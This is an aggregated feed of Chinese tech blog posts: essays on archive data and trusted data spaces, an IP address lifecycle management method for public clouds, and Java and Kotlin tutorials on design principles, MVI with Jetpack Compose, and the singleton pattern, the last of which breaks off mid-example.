抢抓数字经济蓬勃发展的重大机遇,充分释放档案数据要素效能,是新时代档案工作的应有之义。要强化档案数据资源整合,打破“数据孤岛”,汇聚跨地区、跨部门、跨行业的档案数据,推进档案数据共享交换和开放利用,实现数据要素增值。创新档案数据应用场景,从数据中提炼知识、发现规律,为企业经营管理、政务决策支持、社会治理创新等提供精准智能服务。构建“档案大数据+产业”的发展新业态,推动档案数据与实体经济深度融合,助推传统产业数字化转型升级,培育壮大数字经济新动能。

面对日益增长的档案数据资源,迫切需要优化档案数据生态系统的结构功能,增强各生态要素的协同联动。在档案数据形成、管理和利用全生命周期中,坚持以人民为中心,尊重并保护产权主体、社会公众的知情权、参与权和监督权等,维护各方主体的合法权益。统筹构建适应数字时代发展需求的档案数据基础设施和服务平台,夯实档案数据生态的物质技术基础。坚持创新驱动发展,加快引进培养档案数据领域的复合型人才,为档案数据生态系统发展提供新动能,推动新时代档案事业高质量发展。

结语:

在数字时代背景下,档案事业与数据要素的融合共生已成为必然趋势。随着信息技术的不断进步和档案数据治理体系的不断完善,档案数据要素的价值将得到进一步释放和发挥。一方面,档案数据将成为推动数字经济发展的重要力量,为数字产业化和产业数字化转型提供有力支撑;另一方面,档案数据也将成为传承和弘扬中华优秀传统文化的重要载体,同时,档案数据在促进科技创新、优化公共服务等方面也将发挥更加积极的作用。

未来,档案事业应继续加强档案数据资源体系建设,创新档案数据治理模式和方法手段,拓展档案数据应用场景和价值空间。同时,积极构建开放合作、协同共治的档案数据生态体系。

参考资料:

1.付建华.档案数据要素发展研究[J].山西档案,2025,(01):30-32+36.

2.王琼.以创新发展推动档案事业高质量发展[J].档案记忆,2024,(12):45-46.

by 埃文科技 at January 21, 2025 10:10 AM

juejin backend

「全网最细 + 实战源码案例」设计模式——六大设计原则

目的

提高软件系统的可维护性和可复用性,增加软件的可拓展性和灵活性,程序员遵循 6 条原则来开发程序,从而提高软件开发效率、节约软件开发成本和维护成本。


开闭原则(OCP)

核心思想

1. 对拓展开放

  • 软件模块应该在不修改原有代码的情况下,通过扩展的方式增加新功能。
  • 目标:提高系统的可拓展性,适应不断变化的需求。

2. 对修改关闭

  • 在新增需求时,尽量避免修改现有代码。
  • 目标:降低由于修改代码引发的潜在问题,提高系统的稳定性。

实现方式

1. 使用抽象

  • 通过定义接口或抽象类,让具体实现依赖于抽象,而不是直接依赖具体类。
  • 增加新功能时,实现新的子类,不需要修改原有类。

2. 多态机制

  • 借助继承与多态,在运行时决定调用哪个具体类实现。

示例

AbstractSkin:

// 皮肤抽象类
public abstract class AbstractSkin {

    public abstract void display();

}

DefaultSpecificSkin:

// 默认皮肤
public class DefaultSpecificSkin extends AbstractSkin{

    @Override
    public void display() {
        System.out.println("默认皮肤.....");
    }
}

SupermanSpecificSkin:

// 超级英雄皮肤
public class SupermanSpecificSkin extends AbstractSkin{
    @Override
    public void display() {
        System.out.println("超人皮肤.....");
    }
}

SougouInput:

// 搜狗输入法
public class SougouInput {

    private AbstractSkin skin;

    public void setSkin(AbstractSkin skin) {
        this.skin = skin;
    }

    public void display() {
        skin.display();
    }
}

Client:

public class Client {
    public static void main(String[] args) {

        // 1.创建搜狗输入法对象
        SougouInput input = new SougouInput();

        // 2.创建皮肤对象
//        AbstractSkin skin = new SupermanSpecificSkin();
        AbstractSkin skin = new DefaultSpecificSkin();

        // 3.设置皮肤
        input.setSkin(skin);

        // 4.显示皮肤
        input.display();
    }
}

里氏代换原则(LSP)

核心思想

子类对象应该能够替代父类对象出现在程序中的位置,并且程序的行为不会因此受到影响。(一个程序使用父类的对象,那么在不改变程序行为的前提下,子类对象可以替代父类对象)。


实现方式

1. 子类不应该改变父类方法的预期行为,尽量保留父类的方法逻辑。

2. 方法的输入输出应符合父类的契约,子类应遵循父类的行为约定。

3. 使用接口或抽象类设计,可以减少子类对父类的依赖。

4. 确保子类与父类的行为一致性,避免引入错误或不一致的行为。


示例

Quadrilateral

// 四边形接口
public interface Quadrilateral {

    double getLength();
    double getWidth();
}

Rectangle

// 矩形类
public class Rectangle implements Quadrilateral{
    private double length;
    private double width;

    public void setLength(double length) {
        this.length = length;
    }

    public void setWidth(double width) {
        this.width = width;
    }

    @Override
    public double getLength() {
        return length;
    }

    @Override
    public double getWidth() {
        return width;
    }
}

Square

public class Square implements Quadrilateral{

    private double side;

    public double getSide() {
        return side;
    }

    public void setSide(double side) {
        this.side = side;
    }

    @Override
    public double getLength() {
        return side;
    }

    @Override
    public double getWidth() {
        return side;
    }
}

RectangleDemo

public class RectangleDemo {

    public static void main(String[] args) {

        // 1.创建长方形对象
        Rectangle rectangle = new Rectangle();

        // 2.设置长和宽
        rectangle.setLength(20);
        rectangle.setWidth(10);

        // 3.调用扩宽方法
        resize(rectangle);

        // 4.打印长和宽
        printLengthAndWidth(rectangle);
    }

    // 扩宽方法
    public static void resize(Rectangle rectangle){
        while (rectangle.getLength() >= rectangle.getWidth()){
            rectangle.setWidth(rectangle.getWidth() + 1);
        }
    }

    // 打印长和宽
    public static void printLengthAndWidth(Quadrilateral quadrilateral){
        System.out.println("长:" + quadrilateral.getLength() + " 宽:" + quadrilateral.getWidth());
    }

}

依赖倒转原则(DIP)

核心思想:

  • 高层模块(负责实现核心业务逻辑的模块)不应该依赖低层模块(负责实现具体的细节,比如数据存储、网络通信),二者应该依赖抽象。
  • 抽象(接口或抽象类)不应该依赖细节(具体实现类),细节应该依赖抽象。
  • 若没有遵循 DIP,高层模块直接依赖于低层模块,使得两者耦合度变高,且低层模块的变化可能会直接影响到高层模块,从而增加了系统的复杂性和维护难度。
  • DIP 的关键在于,将高层模块与低层模块之间的依赖关系通过抽象接口或抽象类来分离,从而减少直接耦合,增加系统的灵活性。

示例

CPU

// 抽象CPU接口
public interface CPU {
    // 运行cpu
    void run();
}

HardDisk

// 硬盘接口
public interface HardDisk {

    // 存储数据
    void save(String data);
    // 获取数据
    String get();
}

Memory

// 内存条接口
public interface Memory {

    void save();
}

IntelCpu

// 英特尔CPU
public class IntelCpu implements CPU{
    @Override
    public void run() {
        System.out.println("英特尔CPU运行");
    }
}

XiJieHardDisk

// 希捷硬盘
public class XiJieHardDisk implements HardDisk{
    @Override
    public void save(String data) {
        System.out.println("希捷硬盘保存数据为:" + data);
    }

    @Override
    public String get() {
        System.out.println("希捷硬盘读取数据");
        return "数据";
    }
}

KingstonMemory

// 金士顿内存条
public class KingstonMemory implements Memory{
    @Override
    public void save() {
        System.out.println("金士顿内存条");
    }
}

Computer

public class Computer {

    private HardDisk hardDisk;
    private CPU cpu;
    private Memory memory;

    public HardDisk getHardDisk() {
        return hardDisk;
    }

    public void setHardDisk(HardDisk hardDisk) {
        this.hardDisk = hardDisk;
    }

    public CPU getCpu() {
        return cpu;
    }

    public void setCpu(CPU cpu) {
        this.cpu = cpu;
    }

    public Memory getMemory() {
        return memory;
    }

    public void setMemory(Memory memory) {
        this.memory = memory;
    }

    // 运行计算机
    public void run() {
        System.out.println("计算机开始运行...");
        String data = hardDisk.get();
        System.out.println("从硬盘中获取数据:" + data);
        cpu.run();
        memory.save();
    }
}

ComputerDemo

public class ComputerDemo {

    public static void main(String[] args) {

        // 1.创建计算机对象
        Computer computer = new Computer();

        // 2.创建计算机组件对象
        HardDisk hardDisk = new XiJieHardDisk();
        CPU cpu = new IntelCpu();
        Memory memory = new KingstonMemory();

        // 3.设置计算机组件
        computer.setHardDisk(hardDisk);
        computer.setCpu(cpu);
        computer.setMemory(memory);

        // 4.运行计算机
        computer.run();
    }
}

接口隔离原则(ISP)

核心思想

  • 不应该强迫一个类依赖于它不需要的接口。(客户端不应被迫实现它不使用的方法)
  • 接口的设计应该小而精,每个接口只包含一组相关的功能,避免一个大型接口包含不相关的方法,从而导致实现类必须实现他们(即使不需要)
  • 这个原则旨在通过拆分接口,使得类只依赖于它实际需要的接口,避免出现类与接口之间的强耦合。

示例


迪米特法则(LoD)

核心思想

  • 一个对象应该对其他对象有最少的了解,即一个对象应该只和它直接相关的对象进行交互,而不应该依赖于它的“朋友”的“朋友”或其他间接对象。
  • 又称最少知识原则,如果两个软件实体无需直接通信,那么就不应该发生直接的相互调用,可以通过第三方转发该调用,以此降低类之间的耦合度,提高模块的相对独立性。
  • 直接的朋友对象:
    • 当前对象本身
    • 当前对象的成员对象
    • 当前对象所创建的对象
    • 当前对象的方法参数等
    • 同当前对象存在关联、聚合和组合关系的对象。

示例


合成复用原则(CARP)

核心思想:

  • 尽量使用对象的组合(聚合)来实现功能复用,而不是通过继承来扩展功能。
  • 组合:一个对象作为另一个对象的成员,通过成员变量引用实现功能的复用。
  • 聚合:一个对象与另一个对象之间通过外部关联实现松散耦合,体现的是“部分-整体”关系。
  • 继承虽是一种复用代码的有效手段,但它是一种强耦合的复用方式,子类过多依赖父类实现,导致灵活性降低。
  • 组合/聚合可以使模块间的耦合度降低,组件可以自由组合,从而提高系统的可扩展性和可维护性。

示例

by SlackClimb at January 21, 2025 10:10 AM

juejin article

什么是可信数据空间?有什么作用?

在当今数字经济蓬勃发展的时代,数据已成为推动社会进步和经济增长的核心资源。数据要素,作为参与到社会生产经营活动中、为所有者或使用者带来经济效益的数据资源,正逐渐显现出其巨大的潜力和价值。然而,如何安全、高效地开展数据流通,最大化地释放数据价值,成为当前亟待解决的重要议题。可信数据空间应运而生,为数据要素的流通和应用提供了全新的解决方案。

一、数据要素

数据要素的定义,是指那些参与到社会生产经营活动中,能够带来经济效益的数据资源。这一概念强调了数据在促进生产价值方面的作用,是数字经济时代的重要概念。数据要素不仅涵盖了原始数据集、标准化数据集、各类数据产品及以数据为基础产生的系统、信息和知识,还包括根据特定生产需求汇聚、整理、加工而成的计算机数据及其衍生形态。

数据要素具有资源、资产、资本三重属性,对经济社会发展产生重要促进作用。原始数据集是数据资源的基础,未经加工处理,但包含了丰富的信息。标准化数据集则是经过清洗、整理、格式化等处理后的数据,便于后续的数据分析和应用。数据产品则是基于数据资源开发的各种应用产品,如数据分析报告、数据可视化产品等。系统、信息和知识则是以数据为基础产生的各种系统、信息和知识,如智能推荐系统、知识图谱等。

数据要素市场的建设和发展,是数字经济深化发展的重要标志。通过构建数据产权、流通交易、收益分配、安全治理等制度,可以充分激活数据要素潜能,推动数据要素市场的健康高速发展。数据要素作为新型生产要素,对经济社会发展产生了深刻影响,加强数据要素与其他生产要素的组合迭代、交叉融合,能够推动生产要素多领域、多维度、系统性、革命性突破,有效引领经济社会实现从生产要素到生产力,再到生产关系的全面系统变革。

二、可信数据空间

可信数据空间(Trusted Data Matrix, TDM)是一个相对较新的概念,可以理解为一种新型数据资源基础设施。它旨在保证数据要素各参与方、利益方能够在可信、安全、透明的环境中进行数据流通,最大化释放数据价值。可信数据空间是基于共识规则,联接多方主体,实现数据资源共享共用的一种数据流通利用基础设施,是数据要素价值共创的应用生态,是支撑构建全国一体化数据市场的重要载体。

image.png

1. 可信数据空间的内涵

可信数据空间是解决数据要素提供方、中间服务方和数据使用方等主体之间安全与信任问题的分布式关键数据基础设施。它保障数据要素能够在安全可信的环境中汇聚、共享、开放和应用,助力数据要素实现高效的流通,充分发挥数据要素价值。

具体来说,可信数据空间具备以下几个方面的功能:

为数据提供者提供出域后的控制能力:数据提供者可以设定数据适用对象、范围、方式等,消除流通顾虑,释放数据供给。

为数据使用方提供数据要素流通的中间服务:通过提供中间服务,便利供需对接,促进应用场景和数据价值化配置。

2. 可信数据空间的关键技术

可信数据空间的建设离不开一系列关键技术的支撑。这些技术包括但不限于数据加密技术、访问控制机制、数据治理策略等。通过采用先进的加密技术,确保数据在存储、处理和共享过程中的安全性。通过精细的访问控制机制,确保只有授权的用户或应用程序能够访问数据。通过完善的数据治理策略,提高数据的质量和可用性,确保数据的准确性和一致性。

3. 可信数据空间的应用方向

可信数据空间的应用方向广泛,涵盖政府、企业、个人等多个层面。在行业层面,行业可信数据空间由多主体联合打造,重点在科技创新、农业农村、工业、服务业等领域发力。在城市层面,城市可信数据空间以公共数据为牵引,帮助城市加快全域数字化转型和城市群数字一体化发展。在个人层面,条件成熟时,稳慎引导个人开放个人数据资源,促进个人数据的合理利用。在跨境层面,支持自由贸易试验区探索数据跨境便利化机制,推动数据跨境流通与合作。

三、可信数据空间与数据要素的关系

可信数据空间与数据要素之间存在着紧密的联系,二者相互促进、共同发展。数据要素要实现其价值,必须进行有效的流通和应用。然而,数据流通面临着诸多挑战,如数据安全、数据隐私、数据质量等问题。可信数据空间通过提供安全、可信的数据存储和处理环境,为数据要素的流通提供了必要的保障。在可信数据空间中,数据提供者可以放心地共享数据,数据使用者可以便捷地获取数据,从而实现数据的高效流通和价值最大化。

可信数据空间的建设和运营离不开丰富的数据资源。数据要素作为数字经济时代的核心资源,为可信数据空间提供了丰富的数据基础。通过汇聚、整合、处理各类数据要素,可信数据空间能够形成具有商业应用价值的数据产品和服务,推动数字经济的发展和创新。

数据要素市场的建设和发展需要完善的市场机制和制度保障。可信数据空间作为数据流通的重要载体,通过构建数据产权、流通交易、收益分配、安全治理等制度,为数据要素市场的健康高速发展提供了有力支撑。在可信数据空间中,数据要素的交易更加透明、公正、高效,数据价值的实现更加充分、合理。

结语

可信数据空间作为数据要素流通的新范式,为数字经济的发展注入了新的活力。通过构建安全、可信的数据存储和处理环境,可信数据空间为数据要素的流通提供了必要的保障,推动了数据要素市场的完善和发展。随着数字技术的不断发展和应用领域的不断拓展,可信数据空间的发展前景广阔,但同时也面临着诸多挑战。只有不断加强技术创新、政策支持、市场需求等方面的努力,才能推动可信数据空间持续健康发展,为数字经济的蓬勃发展贡献更多力量。

by 埃文科技 at January 21, 2025 10:10 AM

公有云环境下如何管理IP地址

随着互联网技术的飞速发展,云计算已经成为企业降低运营成本、提高业务灵活性的重要手段。公有云作为云计算的一种服务模式,向用户提供按需计算、存储、网络和应用等资源。然而,公有云环境的复杂性和动态性,使得IP地址的管理变得尤为关键。

一、公有云环境下IP地址管理的挑战

公有云环境通常包括大量的虚拟机、容器和微服务,这些都需要IP地址来进行网络通信。然而,IP地址资源是有限的,如何高效、灵活地管理IP地址成为公有云服务提供商和企业面临的一大挑战。

image.png

IPv4地址的问题日益严峻,迫使企业和云服务提供商必须更加高效地利用现有的IP地址空间。传统的IP地址管理方式,如静态分配、手工维护等,已经无法满足公有云环境下对IP地址资源的需求。这些传统方式不仅效率低下,而且容易导致IP地址资源的浪费和冲突。因此,我们需要一种更加智能、自动化的IP地址管理方法,以应对IPv4地址枯竭带来的挑战。

二、公有云环境下IP地址管理的特点

动态性和可扩展性

公有云环境需要能够快速扩容和调整,以适应业务的变化。这就要求IP地址管理具有高度的动态性和可扩展性。当业务需要增加新的虚拟机或容器时,IP地址管理系统能够迅速为其分配可用的IP地址;当业务不再需要某些资源时,IP地址管理系统又能够及时回收这些IP地址,以供其他业务使用。这种动态性和可扩展性确保了公有云环境的灵活性和高效性。

安全性

在公有云环境中,IP地址不仅是网络通信的基础,也是安全控制的关键。因此,如何确保IP地址的安全性,防止未经授权的访问和攻击,是IP地址管理的重要任务。IP地址管理系统需要能够实时监控IP地址的使用情况,及时发现并处理异常行为。同时,还需要通过合理的安全策略,如访问控制、加密通信等手段,确保IP地址在传输和使用过程中的安全性。

管理复杂性

公有云环境中的IP地址数量庞大,且分布在不同的网络区域和业务系统中。这增加了IP地址管理的复杂性和难度。传统的IP地址管理方式已经无法满足这种复杂性的需求。因此,我们需要一种能够集中管理、统一监控的IP地址管理系统,以降低管理成本、提高管理效率。

三、 公有云环境下IP地址管理的重要性

IP地址在公有云环境中扮演着至关重要的角色。它不仅是网络通信的基础,还涉及连接管理、安全性控制、负载均衡和故障恢复等多个方面。

连接管理:IP地址是客户端和服务器之间进行通信的桥梁。通过IP地址,用户可以轻松地连接到云数据库服务器,执行各种数据库操作,如数据查询、更新和删除等。

安全性控制:IP地址可用于实施访问控制策略,限制只有特定IP地址的客户端才能访问数据库,从而增强数据库的安全性。此外,IP地址还可以用于识别和防御网络攻击,如DDoS攻击、SQL注入等。

负载均衡:在分布式云数据库系统中,IP地址与负载均衡器相结合,可以实现流量的合理分配,提高数据库的响应速度和可用性。通过智能的IP地址管理,可以确保负载均衡器能够准确地识别和处理来自不同客户端的请求。

故障恢复:在数据库故障恢复过程中,IP地址的重新分配和路由调整是确保服务连续性的关键步骤。通过合理的IP地址管理,可以快速地恢复故障节点的通信能力,减少服务中断的时间。

四、 一种有效的公有云环境下IP地址管理方法

针对公有云环境下IP地址管理的挑战和重要性,有学者提出了一种基于有限状态机的IP地址全生命周期管理方法。该方法通过创新性地定义和建模IP地址的状态及其状态转换过程,实现了IP地址的合理分配和高效管理。

1. IP地址状态管理

该方法将IP地址的生命周期分为七个状态:未知态、空闲态、预占态、预留态、占用态、预回收态和回收态。每个状态都对应着不同的管理操作和状态转换条件。

未知态:表示IP地址的使用情况不明确,不能被占用、分配或回收。系统通过探测事件来更新其状态,存活时为“占用态”,否则为“空闲态”。

空闲态:表示IP地址未使用,可以通过探测、占用、预分配等事件更新其状态。成功时为“占用态”或“预占态”,否则保持不变。

预占态:表示IP地址已由系统自动预分配给某一业务,但尚未被确认使用。系统通过分配事件来更新其状态,成功时为“预留态”,否则为“空闲态”。

预留态:表示IP地址已确认分配给某一业务,但尚未使用。系统通过探测、预回收等事件来更新其状态,成功时为“占用态”或“预回收态”,否则保持不变。

占用态:表示IP地址已被使用。系统通过预回收事件来更新其状态,成功时为“预回收态”,否则保持不变。

预回收态:表示IP地址已由业务方确认不再使用,但尚未被正式回收。系统通过回收事件来更新其状态,成功时为“回收态”,否则为“预留态”。

回收态:表示IP地址已不再使用,但尚未清除配置。系统通过重新启用事件来更新其状态,成功时为“未知态”,否则保持不变。

2. IP地址段状态管理

除了单个IP地址的状态管理外,该方法还提出了IP地址段的状态管理。将IP地址段的生命周期分为七个状态:未知不可分配态、空闲可分配态、独享可分配态、共享可分配态、独享不可分配态、共享不可分配态和回收不可分配态。

未知不可分配态:表示IP地址段中存在未知态的IP地址,不能被占用、分配或回收。

空闲可分配态:表示IP地址段中的所有IP地址都处于空闲态,可以被分配使用。

独享可分配态:表示IP地址段被单个业务独享,且存在部分IP地址处于空闲态,可以被进一步分配。

共享可分配态:表示IP地址段被多个业务共享,且存在部分IP地址处于空闲态,可以被进一步分配。

独享不可分配态:表示IP地址段被单个业务独享,但不存在空闲态的IP地址,无法再被分配。

共享不可分配态:表示IP地址段被多个业务共享,但不存在空闲态的IP地址,无法再被分配。

回收不可分配态:表示IP地址段中的所有IP地址都处于回收态,无法再被分配使用。

3. 管理方法流程实现

基于上述状态管理,该方法实现了IP地址的全生命周期管理流程,包括IP地址探测、IP地址分配和IP地址回收。

IP地址探测: 系统通过PING、ARP和CMDB等探测手段,定期或人工触发检查IP地址的存活情况,并更新其状态。这确保了IP地址状态管理的实时性和准确性,规避了分配过程中地址冲突的情况。

IP地址分配: 业务方发起需求申请,系统自动完成预分配,并提交给管理员审核确认。预分配过程中,系统根据业务需求和IP地址段的状态,优先查找满足条件的地址段进行分配。这实现了IP地址的按需申请和紧凑分配,提高了IP地址资源的利用率。

对于“共享模式”的业务,系统优先查找共享可分配态的IP地址段,检查是否存在与当前业务类别相同、满足剩余空闲态IP地址数量大于业务所需的段。

对于“独享模式”的业务,系统优先查找与当前业务完全一致的独享可分配态IP地址段,否则继续查找空闲可分配态地址段。

IP地址回收: 业务方发起回收申请,系统自动完成预回收,并提交给管理员审核确认。回收过程中,系统根据IP地址的状态,将其从占用态或预留态转变为预回收态,并最终转变为回收态。这实现了IP地址的按需使用和及时回收,减少了闲置地址的数量,及时扩展了可用地址空间。

结语:

公有云环境下的IP地址管理是一项复杂而重要的任务。随着云计算技术的不断发展和公有云环境的日益复杂,IP地址管理将继续面临新的挑战和机遇。未来,需要进一步深入研究IP地址的自动化管理、智能化分配和安全性控制等方面的技术,以更好地适应公有云环境的发展需求。

参考资料:

吕新辉.一种公有云环境下IP地址的管理方法[J].江苏通信,2024,40(04):30-35.

by 埃文科技 at January 21, 2025 10:09 AM

juejin android

MVI 与 Jetpack Compose 更配哦

宝子们,咱就是说,去年俺写了篇文章 - Android 如何搭建一个优雅的 MVI 架构,当时是基于传统的布局方式 XML 写的,但是这 Android 开发界的时尚潮流更新真的太快了,Jetpack Compose 闪亮登场,直接在 UI 界 C 位出道,所以,咱也不能落后,这次就来盘一盘基于 MVI 架构的 Jetpack Compose 到底是咋个回事?

简介

在 Jetpack Compose 中,搭配 MVI 架构会更能体现其优势。Model 依旧是存储应用状态的数据结构,如用户信息,列表数据等。View 则是通过 Compose 函数构建的界面,以声明式的方式将 Model 状态展示出来,比如用 Text 组件显示 Model 中的文本数据。Intent 是用户的操作或事件,像点击按钮等动作。当有 Intent 产生,会触发 Model 状态更新,而 Compose 会自动重新组合 UI 来反映 Model 的新状态,它能感知状态变化。

这种架构让 Compose 构建的 UI 数据流向清晰,便于开发者理解和维护,提升了开发效率,同时也能更好地应对复杂的 UI 变化。关于 MVI 架构模式,有兴趣的可以看我之前的文章,那里介绍比较详细,这里不再赘述。

定义 UI 状态

创建一个数据类来表示页面的状态,这里包含了是否正在加载数据,获取到的实际数据以及可能出现的错误信息等状态字段。

data class UiState(
    val isLoading: Boolean = false,
    val data: List<NetDataBean>? = null,
    val errorMessage: String? = null
)

定义用户意图

定义代表不同操作意图的类,常见的做法是使用密封类,这里定义了名为 FetchNetData 和 FetchDefaultData 的意图,分别代表从网络获取数据和获取默认本地数据两个操作。

sealed class UiIntent {
    data object FetchNetData : UiIntent()
    data object FetchDefaultData : UiIntent()
}

定义 ViewModel

ViewModel 负责协调 Model 和 View 之间的交互,处理业务逻辑。这里通过 mutableStateOf 创建了可观察的状态,遵循 Compose 的状态管理原则,这样界面可以自动根据状态变化进行重绘,dispatch 用于接收各种意图,根据不同的 Intent 来更新状态。

class ContentViewModel : ViewModel() {

    var uiStates by mutableStateOf(UiState())
        private set

    init {
        dispatch(UiIntent.FetchDefaultData)
    }

    fun dispatch(intent: UiIntent) {
        when (intent) {
            is UiIntent.FetchNetData -> getHttpContent()
            is UiIntent.FetchDefaultData -> getDefaultData()
        }
    }

    private fun getDefaultData() {
        val list = arrayListOf<NetDataBean>()
        repeat(10) {
            list.add(NetDataBean(it.toString(), "No.$it"))
        }
        uiStates = uiStates.copy(isLoading = false, data = list, errorMessage = null)
    }

    private fun getHttpContent() = netRequest {
        request {
            uiStates = uiStates.copy(isLoading = true)
            val hashMap = hashMapOf<String, String>()
            hashMap["param1"] = "param1"
            hashMap["param2"] = "param2"
            RequestHelper.instance.getNetData(hashMap)
        }
        success {
            uiStates = uiStates.copy(isLoading = false, data = it, errorMessage = null)
        }
        error {
            uiStates = uiStates.copy(isLoading = false, data = emptyList(), errorMessage = it)
        }
    }
    
}

mutableStateOf 是线程安全的,也能够保证状态的更新能通知到观察者,而且 mutableStateOf 在 ViewModel 中使用不需要搭配 remember 来保持状态,因为 ViewModel 本身就可以缓存状态,并可在配置更改后持久保留相应状态。

其中,getDefaultData 获取默认的测试数据,getHttpContent 用于获取网络数据,网络请求的部分代码如下:

interface HttpApi {

    @GET("/hi/hi/hi/test/android")
    suspend fun getNetData(@QueryMap params: HashMap<String, String>): BaseResp<List<NetDataBean>>
}
class RequestHelper {

    private val httpApi = RetrofitUtil.getAPI(HttpApi::class.java)

    companion object {
        val instance: RequestHelper by lazy(mode = LazyThreadSafetyMode.SYNCHRONIZED) {
            RequestHelper()
        }
    }

    suspend fun getNetData(params: HashMap<String, String>) = httpApi.getNetData(params)

}

这里使用的是基于 Retrofit 二次封装的网络请求框架,感兴趣的可以看我的另一篇文章 - 如何让 Android 网络请求像诗一样优雅,里面详细讲解了我是如何一步一步封装这个网络请求框架的,这里不再赘述。

创建 Compose 界面

在 Compose 函数中构建界面,并与 ViewModel 的状态进行关联来展示相应的内容。这样一旦 UI 状态发生变化,界面就会自动重组更新。

@Composable
fun ContentScreen(viewModel: ContentViewModel = viewModel()) {
    val states = viewModel.uiStates
    Column(modifier = Modifier.fillMaxSize()) {
        Button(onClick = {
            viewModel.dispatch(UiIntent.FetchNetData)
        }) { Text("FetchNetData") }
        if (states.isLoading) {
            CircularProgressIndicator()
        } else {
            val dataList = states.data
            Text(
                text = if (dataList.isNullOrEmpty()) (states.errorMessage ?: "")
                else dataList.toString(), modifier = Modifier.fillMaxSize()
            )
        }
    }
}

这里使用 viewModel() 来获取与当前组合相关联的 ViewModel 实例,使用这个函数需要额外引入依赖:

implementation (libs.androidx.lifecycle.viewmodel.compose)

viewModel() 是个 Composable 函数,这个函数内部会检查是否已经存在合适的 ViewModel 实例,如果存在,它会返回现有的实例,如果不存在,它会创建一个新的实例并将其与当前组合相关联。当 Composable 函数进行重组时,只要对应的 ViewModelStoreOwner(通常是 Activity 或 Fragment)仍有效,就会复用之前创建的 ViewModel 实例。

@Composable
public inline fun <reified VM : ViewModel> viewModel(
    viewModelStoreOwner: ViewModelStoreOwner = checkNotNull(LocalViewModelStoreOwner.current) {
        "No ViewModelStoreOwner was provided via LocalViewModelStoreOwner"
    },
    key: String? = null,
    factory: ViewModelProvider.Factory? = null,
    extras: CreationExtras = if (viewModelStoreOwner is HasDefaultViewModelProviderFactory) {
        viewModelStoreOwner.defaultViewModelCreationExtras
    } else {
        CreationExtras.Empty
    }
): VM = viewModel(VM::class, viewModelStoreOwner, key, factory, extras)

这种机制确保了 ViewModel 的生命周期与所属的 ViewModelStoreOwner(通常是 Activity 或 Fragment)相匹配,而不是随着 Composable 函数的每次重组而重新创建。这样可以有效地保存和管理数据,避免不必要的数据丢失和重复加载,例如在屏幕旋转等配置变化的情况下,ViewModel 中的数据依然能够被保留和复用。

注意:请勿将 ViewModel 实例向下传递到其他可组合函数,这样会导致可组合函数与 ViewModel 类型形成耦合,从而降低可重用性,向下传递允许多个可组合项调用 ViewModel 函数并修改其状态,从而更难调试问题。作为替代方案,我们可以向下传递必要的状态。

总结

在 Jetpack Compose 中,搭配 MVI 架构会更能体现其优势。

  • UI 更新机制更适配:在 Jetpack Compose 中,UI 是通过可组合函数构建的,这些函数会根据数据变化自动重新组合。MVI 的单向数据流和状态驱动 UI 更新的方式与 Compose 高度适配,使得 UI 能够高效精准地响应数据变化。而传统 XML 布局主要依赖于手动调用更新方法,在处理复杂数据变化时不够灵活。
  • 数据和 UI 分离更清晰:Compose 的函数式编程风格使得它和 MVI 结合时,数据和 UI 的分离更加自然。在传统 XML 中,布局和数据逻辑容易交织在 Activity 或 Fragment 中。MVI 在 Compose 中能让 Model 独立管理数据,Composable 专注于 UI 渲染。
  • 复用性更好:MVI 架构下的 Composable 组件基于清晰的状态管理,复用性更强。相比之下,XML 布局复用主要是布局文件复用,在涉及数据和业务逻辑时,复用难度相对较大。

by 阿健君 at January 21, 2025 10:08 AM

juejin backend

「全网最细 + 实战源码案例」设计模式——单例设计模式

核心思想:

  • 属于创建型设计模式,核心目的是确保一个类在整个程序运行期间只有一个实例,并提供一个全局访问点来获取该实例。
  • 控制共享资源的访问(如数据库链接、配置管理、日志处理器等)
  • 真实世界类比:政府是单例模式的一个很好的示例。 一个国家只有一个官方政府。 不管组成政府的每个人的身份是什么,“某政府” 这一称谓总是鉴别那些掌权者的全局访问节点。

结构

所有单例的实现都包含以下两个相同的步骤:

  • 将默认构造函数设为私有,防止其他对象使用单例类的 new 运算符。
  • 新建一个静态构建方法作为构造函数。该函数会“偷偷”调用私有构造函数来创建对象,并将其保存在一个静态成员变量中。此后所有对于该函数的调用都将返回这一缓存对象。

如果你的代码能够访问单例类,那它就能调用单例类的静态方法。无论何时调用该方法,它总是会返回相同的对象。


使用场景:

1. 需要唯一实例的场景:

  • 配置管理类
  • 日志记录器
  • 数据库连接池
  • 多线程环境中的任务调度器

2. 需要全局共享实例

  • 以避免多个实例引发资源冲突或影响程序逻辑。

⭐实现方式:

1. 饿汉式(线程安全,类加载时初始化)

1.1. 静态变量式(常见方式)

// 饿汉式(静态变量)
public class Singleton {

    // 1. 私有化构造方法
    private Singleton() {}

    // 2. 创建一个静态变量,保存实例
    private static final Singleton instance = new Singleton();

    // 3. 提供一个公共的静态方法获取实例
    public static Singleton getInstance() {
        return instance;
    }
}

特点:

  • 线程安全:类加载时实例化,JVM 保证线程安全。
  • 缺点:类加载时即创建实例,即使未使用也会占用内存。

1.2. 静态代码块式

// 饿汉式(静态代码块)
public class Singleton {

    // 1. 私有化构造方法
    private Singleton(){}

    // 2. 创建一个静态对象
    private static Singleton instance;

    // 3. 在静态代码块中创建对象
    static {
        instance = new Singleton();
    }

    // 4. 提供获取对象的方法
    public static Singleton getInstance(){
        return instance;
    }
}

特点:

  • 和静态变量方式类似,在类加载时实例化。
  • 可以在静态代码块中加入额外逻辑,例如异常处理或配置初始化。

2. 懒汉式(线程不安全,延迟加载)

// 懒汉式,线程不安全
public class Singleton {

    // 1. 私有化构造方法
    private Singleton() {}

    // 2. 定义一个静态变量,用于存储唯一实例
    private static Singleton instance;

    // 3. 定义一个静态方法,用于获取唯一实例
    public static Singleton getInstance() {
        if (instance == null) {
            instance = new Singleton();
        }
        return instance;
    }
}

优点:

  • 实例在第一次使用时才初始化,节约资源。

缺点:

  • 多线程情况下可能创建多个实例,线程不安全。

3. 线程安全的懒汉式

3.1. 同步方法

// 懒汉式,同步式,线程安全
public class Singleton {

    // 1. 私有化构造方法
    private Singleton() {}

    // 2. 定义一个静态变量,用于存储
    private static Singleton instance;

    // 3. 定义一个静态方法,用于获取唯一实例
    public static synchronized Singleton getInstance() {
        if (instance == null) {
            instance = new Singleton();
        }
        return instance;
    }
}

缺点:

  • 同步方法会导致性能下降,尤其是高并发访问时。

3.2. 双重检查锁(推荐)

// 懒汉式,双重检查锁方式
public class Singleton {

    // 1. 私有化构造方法
    private Singleton() {}

